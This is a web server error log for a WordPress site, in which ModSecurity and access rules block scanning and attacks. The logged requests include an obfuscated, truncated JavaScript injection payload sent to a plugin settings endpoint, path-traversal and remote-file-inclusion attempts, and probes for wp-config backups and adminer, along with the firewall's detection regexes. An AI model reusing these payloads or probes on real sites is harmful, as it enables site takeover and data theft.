[Tue Oct 15 06:15:10.963947 2019] [proxy_fcgi:error] [pid 27134] [client 157.245.143.80:48444] AH01071: Got error 'Primary script unknown\n'
[Tue Oct 15 14:38:35.031822 2019] [proxy_fcgi:error] [pid 22020] [client 193.106.30.99:37652] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 16 07:48:57.813122 2019] [authz_core:error] [pid 2267] [client 78.85.199.57:27997] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/ultimate-product-catalogue
[Wed Oct 16 17:20:10.463674 2019] [proxy_fcgi:error] [pid 9437] [client 193.106.30.99:50850] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 17 08:00:08.179162 2019] [proxy_fcgi:error] [pid 1450] [client 193.106.30.99:53580] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 17 14:35:51.438040 2019] [authz_core:error] [pid 16948] [client 78.85.199.57:13505] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/platform
[Thu Oct 17 22:59:48.007375 2019] [proxy_fcgi:error] [pid 20885] [client 193.106.30.99:35046] AH01071: Got error 'Primary script unknown\n'
[Fri Oct 18 05:49:38.100759 2019] [:error] [pid 13196] [client 159.203.86.82:35954] [client 159.203.86.82] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "Xak2UggzGtsJ-bXR9pMaqAAAAAE"]
[Fri Oct 18 05:49:49.110774 2019] [:error] [pid 13714] [client 159.203.86.82:38636] [client 159.203.86.82] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS:import-json. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "Xak2XVevRE6g5Z2I7IumLgAAAAU"]
[Fri Oct 18 05:50:12.042379 2019] [:error] [pid 13194] [client 159.203.86.82:43335] [client 159.203.86.82] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "253"] [id "33340149"] [rev "152"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data ".fromcharcode"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?i?frame ?src ?= ?(?:ogg|gopher|data|php|zlib|(?:ht|f)tps?):/|(?:\\\\.add|\\\\@)import |asfunction\\\\:|background-image\\\\:|e(?:cma|xec)script|\\\\.fromcharcode|get(?:parentfolder|specialfolder)|\\\\.innerhtml|\\\\< ?input|(?:/|<) ?(?:java|live|j|vb)script!s| ..." at ARGS_NAMES:{"settings":{"wps_settings_general_products_url":"\\\\""eval(String.fromCharCode(32,40,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,118,97,114,32,101,108,101,109,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,9,101,108,101,109,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39, [hostname "fincasandoval.com"] [uri "/wp-json/wpshopify/v1/settings"] [unique_id "Xak2c2Oej6CndcbFgwPFFwAAAAA"]
[Fri Oct 18 05:50:15.103940 2019] [:error] [pid 13607] [client 159.203.86.82:44121] [client 159.203.86.82] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:read-more-text. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "Xak2d0G-LVNgOXdizK3TOwAAAAQ"]
[Fri Oct 18 05:50:18.670904 2019] [:error] [pid 13714] [client 159.203.86.82:44860] [client 159.203.86.82] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at ARGS:dpc[basic_metadata][verify][bing]. [hostname "fincasandoval.com"] [uri "/wp-admin/admin-post.php"] [unique_id "Xak2elevRE6g5Z2I7IumMAAAAAU"]
[Fri Oct 18 10:58:28.491221 2019] [proxy_fcgi:error] [pid 11969] [client 193.106.30.99:39990] AH01071: Got error 'Primary script unknown\n'
[Sat Oct 19 02:30:05.732719 2019] [proxy_fcgi:error] [pid 14158] [client 193.106.30.99:58216] AH01071: Got error 'Primary script unknown\n'
[Sat Oct 19 11:51:20.817977 2019] [authz_core:error] [pid 15399] [client 78.85.199.57:64806] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/platform
[Sat Oct 19 16:19:26.530858 2019] [authz_core:error] [pid 6237] [client 66.146.193.33:36702] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.1
[Sat Oct 19 16:19:27.537493 2019] [authz_core:error] [pid 6563] [client 66.146.193.33:36876] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php-old
[Sat Oct 19 16:19:28.466083 2019] [authz_core:error] [pid 4468] [client 66.146.193.33:37020] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.
[Sat Oct 19 16:19:29.448700 2019] [authz_core:error] [pid 7053] [client 66.146.193.33:37198] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.2
[Sat Oct 19 16:19:30.475875 2019] [authz_core:error] [pid 6299] [client 66.146.193.33:37396] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.3
[Sat Oct 19 16:19:31.908284 2019] [authz_core:error] [pid 6295] [client 66.146.193.33:37552] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.4
[Sat Oct 19 16:19:33.027855 2019] [authz_core:error] [pid 7590] [client 66.146.193.33:37718] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.5
[Sat Oct 19 16:19:33.996640 2019] [authz_core:error] [pid 6237] [client 66.146.193.33:37846] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.6
[Sat Oct 19 16:19:34.919652 2019] [authz_core:error] [pid 6653] [client 66.146.193.33:37996] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.7
[Sat Oct 19 16:19:35.817966 2019] [authz_core:error] [pid 6563] [client 66.146.193.33:38166] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.8
[Sat Oct 19 16:19:36.727391 2019] [authz_core:error] [pid 4468] [client 66.146.193.33:38282] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.9
[Sat Oct 19 16:19:37.642459 2019] [authz_core:error] [pid 6595] [client 66.146.193.33:38428] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.10
[Sat Oct 19 17:01:05.258604 2019] [proxy_fcgi:error] [pid 12650] [client 193.106.30.99:54032] AH01071: Got error 'Primary script unknown\n'
[Sat Oct 19 22:46:24.818846 2019] [proxy_fcgi:error] [pid 8490] [client 178.128.90.9:53668] AH01071: Got error 'Primary script unknown\n'
[Sun Oct 20 04:04:38.303921 2019] [proxy_fcgi:error] [pid 27722] [client 193.106.30.99:37050] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_template_part() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/footer.php:22\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/footer.php on line 22\n'
[Sun Oct 20 16:25:49.070002 2019] [proxy_fcgi:error] [pid 19340] [client 193.106.30.99:37708] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Mon Oct 21 02:48:53.712156 2019] [:error] [pid 9586] [client 51.145.36.44:64038] [client 51.145.36.44] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "179"] [id "33340162"] [rev "294"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: URL detected as argument, possible RFI attempt detected"] [data "%TX:1,TX:1"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "beginsWith %{request_headers.host}" against "TX:1" required. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-mobile-detector/resize.php"] [unique_id "Xa0AdcBzUcQjoNanHfgVBwAAAEc"]
[Mon Oct 21 02:48:53.743058 2019] [authz_core:error] [pid 9586] [client 51.145.36.44:64038] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-mobile-detector
[Mon Oct 21 02:48:54.837188 2019] [:error] [pid 9534] [client 51.145.36.44:64352] [client 51.145.36.44] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:files"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:files. [hostname "fincasandoval.com"] [uri "/wp-content/themes/mTheme-Unus/css/css.php"] [unique_id "Xa0AdjgUitSDuYwPcFw9ZQAAABU"]
[Mon Oct 21 02:48:54.955804 2019] [:error] [pid 9534] [client 51.145.36.44:64352] [client 51.145.36.44] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:fileName"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:fileName. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/candidate-application-form/downloadpdffile.php"] [unique_id "Xa0AdjgUitSDuYwPcFw9aQAAABU"]
[Mon Oct 21 02:48:54.984834 2019] [:error] [pid 9534] [client 51.145.36.44:64352] [client 51.145.36.44] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "39"] [id "33340006"] [rev "68"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Generic Path Recursion denied in URI/ARGS"] [data "../../,ARGS:filename"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "\\\\.\\\\./\\\\.\\\\./" at ARGS:filename. [hostname "fincasandoval.com"] [uri "/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php"] [unique_id "Xa0AdjgUitSDuYwPcFw9agAAABU"]
[Mon Oct 21 05:21:25.418234 2019] [proxy_fcgi:error] [pid 7802] [client 193.106.30.99:45476] AH01071: Got error 'Primary script unknown\n'
[Mon Oct 21 08:33:20.882256 2019] [authz_core:error] [pid 25498] [client 37.1.204.92:60888] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-config.php.save.2
[Tue Oct 22 05:42:43.425181 2019] [authz_core:error] [pid 30089] [client 78.85.199.57:12072] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-mobile-detector
[Tue Oct 22 10:53:23.481893 2019] [proxy_fcgi:error] [pid 701] [client 193.106.30.99:36358] AH01071: Got error 'Primary script unknown\n'
[Tue Oct 22 12:53:49.312427 2019] [ssl:error] [pid 16431] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Oct 22 12:53:49.330304 2019] [ssl:error] [pid 16431] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Oct 22 23:32:14.130710 2019] [proxy_fcgi:error] [pid 4504] [client 193.106.30.99:39098] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Wed Oct 23 18:11:15.710131 2019] [authz_core:error] [pid 17311] [client 78.85.199.57:20466] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/estatik
[Thu Oct 24 03:13:53.332823 2019] [ssl:error] [pid 19095] AH02032: Hostname madbone.de provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Thu Oct 24 03:13:53.334298 2019] [ssl:error] [pid 19095] AH02032: Hostname madbone.de provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Thu Oct 24 23:46:54.972530 2019] [authz_core:error] [pid 4653] [client 78.85.199.57:33332] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/addblockblocker
[Fri Oct 25 06:51:22.122376 2019] [authz_core:error] [pid 12017] [client 193.106.30.99:59636] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.php
[Sat Oct 26 01:29:57.211013 2019] [proxy_fcgi:error] [pid 12363] [client 193.106.30.99:53982] AH01071: Got error 'Primary script unknown\n'
[Sat Oct 26 14:31:40.921357 2019] [authz_core:error] [pid 8038] [client 193.106.30.99:40504] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.php
[Mon Oct 28 00:55:17.828077 2019] [ssl:error] [pid 6692] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Oct 28 00:55:17.832501 2019] [ssl:error] [pid 6692] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Oct 28 08:32:10.856462 2019] [proxy_fcgi:error] [pid 28801] [client 193.106.30.99:58158] AH01071: Got error 'Primary script unknown\n'
[Mon Oct 28 19:46:34.055957 2019] [proxy_fcgi:error] [pid 22323] [client 193.106.30.99:56626] AH01071: Got error 'Primary script unknown\n'
[Tue Oct 29 02:14:57.611348 2019] [authz_core:error] [pid 922] [client 45.136.108.44:57854] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/woocommerce
[Tue Oct 29 14:26:58.972995 2019] [proxy_fcgi:error] [pid 18776] [client 193.106.30.99:34138] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:53:57.247740 2019] [proxy_fcgi:error] [pid 1286] [client 66.113.161.181:57690] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Wed Oct 30 07:53:57.712863 2019] [proxy_fcgi:error] [pid 1178] [client 46.105.92.10:46812] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Wed Oct 30 07:53:58.075431 2019] [proxy_fcgi:error] [pid 1984] [client 66.113.161.181:57950] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Wed Oct 30 07:53:58.899213 2019] [proxy_fcgi:error] [pid 31956] [client 66.113.161.181:58242] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/connect.php
[Wed Oct 30 07:53:59.094781 2019] [proxy_fcgi:error] [pid 1756] [client 46.105.92.10:47152] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Wed Oct 30 07:53:59.665666 2019] [proxy_fcgi:error] [pid 1177] [client 66.113.161.181:58506] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Wed Oct 30 07:54:00.473901 2019] [proxy_fcgi:error] [pid 1178] [client 66.113.161.181:58792] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Wed Oct 30 07:54:00.523555 2019] [proxy_fcgi:error] [pid 1984] [client 46.105.92.10:47572] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/connect.php
[Wed Oct 30 07:54:01.296972 2019] [proxy_fcgi:error] [pid 31956] [client 66.113.161.181:59034] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/Adminer.php
[Wed Oct 30 07:54:01.835057 2019] [proxy_fcgi:error] [pid 32078] [client 66.113.161.181:59200] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:02.139125 2019] [proxy_fcgi:error] [pid 1177] [client 46.105.92.10:47968] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Wed Oct 30 07:54:02.382148 2019] [proxy_fcgi:error] [pid 1286] [client 66.113.161.181:59452] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:02.940002 2019] [proxy_fcgi:error] [pid 1179] [client 66.113.161.181:59626] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:03.378088 2019] [proxy_fcgi:error] [pid 1984] [client 46.105.92.10:48268] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Wed Oct 30 07:54:03.467990 2019] [proxy_fcgi:error] [pid 1175] [client 66.113.161.181:59806] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:04.006596 2019] [proxy_fcgi:error] [pid 31956] [client 66.113.161.181:59954] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:04.488109 2019] [proxy_fcgi:error] [pid 32078] [client 46.105.92.10:48614] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/Adminer.php
[Wed Oct 30 07:54:04.543573 2019] [proxy_fcgi:error] [pid 1177] [client 66.113.161.181:60138] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:05.394918 2019] [proxy_fcgi:error] [pid 1178] [client 46.105.92.10:48840] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:06.336218 2019] [proxy_fcgi:error] [pid 1179] [client 46.105.92.10:49062] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:07.394119 2019] [proxy_fcgi:error] [pid 1756] [client 46.105.92.10:49296] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:08.343309 2019] [proxy_fcgi:error] [pid 32078] [client 46.105.92.10:49592] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:09.077044 2019] [proxy_fcgi:error] [pid 1178] [client 46.105.92.10:49768] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 07:54:09.697752 2019] [proxy_fcgi:error] [pid 1286] [client 46.105.92.10:49970] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 13:07:47.628946 2019] [proxy_fcgi:error] [pid 8977] [client 177.75.21.139:52297] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Wed Oct 30 13:07:47.629031 2019] [proxy_fcgi:error] [pid 8877] [client 177.75.21.139:52298] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Wed Oct 30 13:07:47.629422 2019] [proxy_fcgi:error] [pid 8989] [client 177.75.21.139:52310] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Wed Oct 30 19:28:26.886884 2019] [autoindex:error] [pid 28419] [client 34.67.64.119:58086] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Wed Oct 30 21:46:03.079259 2019] [authz_core:error] [pid 11916] [client 51.77.52.160:35472] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/visualizer
[Wed Oct 30 21:52:17.315914 2019] [authz_core:error] [pid 12350] [client 51.77.52.160:32836] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/register-ip-multisite
[Wed Oct 30 21:53:54.728332 2019] [authz_core:error] [pid 12359] [client 51.77.52.160:44136] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/woocommerce-ajax-filters
[Wed Oct 30 23:42:36.649816 2019] [proxy_fcgi:error] [pid 26842] [client 146.185.137.146:48662] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 23:42:42.490981 2019] [proxy_fcgi:error] [pid 26841] [client 146.185.137.146:49866] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 23:42:49.877267 2019] [proxy_fcgi:error] [pid 26382] [client 146.185.137.146:51242] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 23:42:58.019556 2019] [proxy_fcgi:error] [pid 26457] [client 146.185.137.146:53210] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 23:43:02.568996 2019] [proxy_fcgi:error] [pid 26461] [client 146.185.137.146:54528] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 23:43:11.382133 2019] [proxy_fcgi:error] [pid 26739] [client 146.185.137.146:56898] AH01071: Got error 'Primary script unknown\n'
[Wed Oct 30 23:43:24.730595 2019] [proxy_fcgi:error] [pid 26382] [client 146.185.137.146:59410] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Wed Oct 30 23:43:40.241239 2019] [proxy_fcgi:error] [pid 26739] [client 146.185.137.146:34994] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Wed Oct 30 23:43:52.603905 2019] [proxy_fcgi:error] [pid 26742] [client 146.185.137.146:38014] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/connect.php
[Wed Oct 30 23:44:05.359397 2019] [proxy_fcgi:error] [pid 27008] [client 146.185.137.146:41174] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Wed Oct 30 23:44:14.155234 2019] [proxy_fcgi:error] [pid 26742] [client 146.185.137.146:43352] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Wed Oct 30 23:44:21.775896 2019] [proxy_fcgi:error] [pid 26384] [client 146.185.137.146:45438] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/Adminer.php
[Thu Oct 31 00:35:01.603968 2019] [authz_core:error] [pid 31837] [client 51.77.52.160:45780] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wp-private-content-plus
[Thu Oct 31 03:09:00.050249 2019] [authz_core:error] [pid 14833] [client 177.75.21.139:52157] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Thu Oct 31 03:09:00.165318 2019] [proxy_fcgi:error] [pid 12404] [client 177.75.21.139:52489] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function add_action() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php:69\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/hello.php on line 69\n'
[Thu Oct 31 03:29:10.328550 2019] [proxy_fcgi:error] [pid 18324] [client 193.106.30.99:35504] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 21:35:33.932691 2019] [proxy_fcgi:error] [pid 10444] [client 193.106.30.99:40762] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:34.227012 2019] [proxy_fcgi:error] [pid 14022] [client 50.62.23.56:37718] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:35.109249 2019] [proxy_fcgi:error] [pid 12670] [client 50.62.23.56:38054] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:35.960507 2019] [proxy_fcgi:error] [pid 14037] [client 50.62.23.56:38324] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:36.697498 2019] [proxy_fcgi:error] [pid 13565] [client 50.62.23.56:38502] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:37.438133 2019] [proxy_fcgi:error] [pid 13895] [client 50.62.23.56:38704] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:38.164274 2019] [proxy_fcgi:error] [pid 14022] [client 50.62.23.56:38944] AH01071: Got error 'Primary script unknown\n'
[Thu Oct 31 22:00:39.223501 2019] [proxy_fcgi:error] [pid 13883] [client 50.62.23.56:39336] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Thu Oct 31 22:00:40.275150 2019] [proxy_fcgi:error] [pid 13895] [client 50.62.23.56:39798] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Thu Oct 31 22:00:41.336291 2019] [proxy_fcgi:error] [pid 12670] [client 50.62.23.56:40314] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/connect.php
[Thu Oct 31 22:00:42.969870 2019] [proxy_fcgi:error] [pid 13565] [client 50.62.23.56:40866] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Thu Oct 31 22:00:44.063794 2019] [proxy_fcgi:error] [pid 14022] [client 50.62.23.56:41890] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Thu Oct 31 22:00:45.169623 2019] [proxy_fcgi:error] [pid 13883] [client 50.62.23.56:42522] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/Adminer.php
[Fri Nov 01 12:20:00.003524 2019] [ssl:error] [pid 21249] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.004656 2019] [ssl:error] [pid 21249] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.403647 2019] [ssl:error] [pid 21378] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.403684 2019] [ssl:error] [pid 21378] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.461387 2019] [ssl:error] [pid 21453] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.461466 2019] [ssl:error] [pid 21453] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.849412 2019] [ssl:error] [pid 21458] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.849453 2019] [ssl:error] [pid 21458] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.919955 2019] [ssl:error] [pid 21249] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Nov 01 12:20:00.919993 2019] [ssl:error] [pid 21249] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
